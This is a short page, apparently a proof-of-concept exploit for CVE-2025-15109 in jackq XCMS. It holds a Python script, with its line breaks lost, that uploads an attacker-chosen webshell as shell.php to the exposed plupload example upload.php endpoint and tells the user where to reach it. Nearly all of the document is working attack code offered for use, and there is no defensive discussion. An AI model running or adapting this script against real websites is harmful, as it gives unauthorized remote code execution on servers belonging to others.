CVE-2025-15109: jackq XCMS plupload文件上传漏洞

import requests import sys # CVE-2025-15109 PoC - jackq XCMS Unrestricted File Upload # Target: jackq XCMS with plupload <= 2.1.2 def upload_webshell(target_url, webshell_path): """ Upload malicious webshell to vulnerable XCMS server """ upload_url = f"{target_url}/Public/javascripts/admin/plupload-2.1.2/examples/upload.php" # Read webshell content with open(webshell_path, 'rb') as f: webshell_content = f.read() # Prepare multipart form data files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: print(f"[*] Attempting to upload webshell to: {upload_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File upload successful!") print(f"[+] Response: {response.text}") # Extract uploaded file path if available if 'path' in response.text or 'url' in response.text: print("[+] Access the webshell at the returned path") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <webshell_path>") print(f"Example: python {sys.argv[0]} http://target.com /tmp/shell.php") sys.exit(1) target = sys.argv[1] shell = sys.argv[2] upload_webshell(target, shell)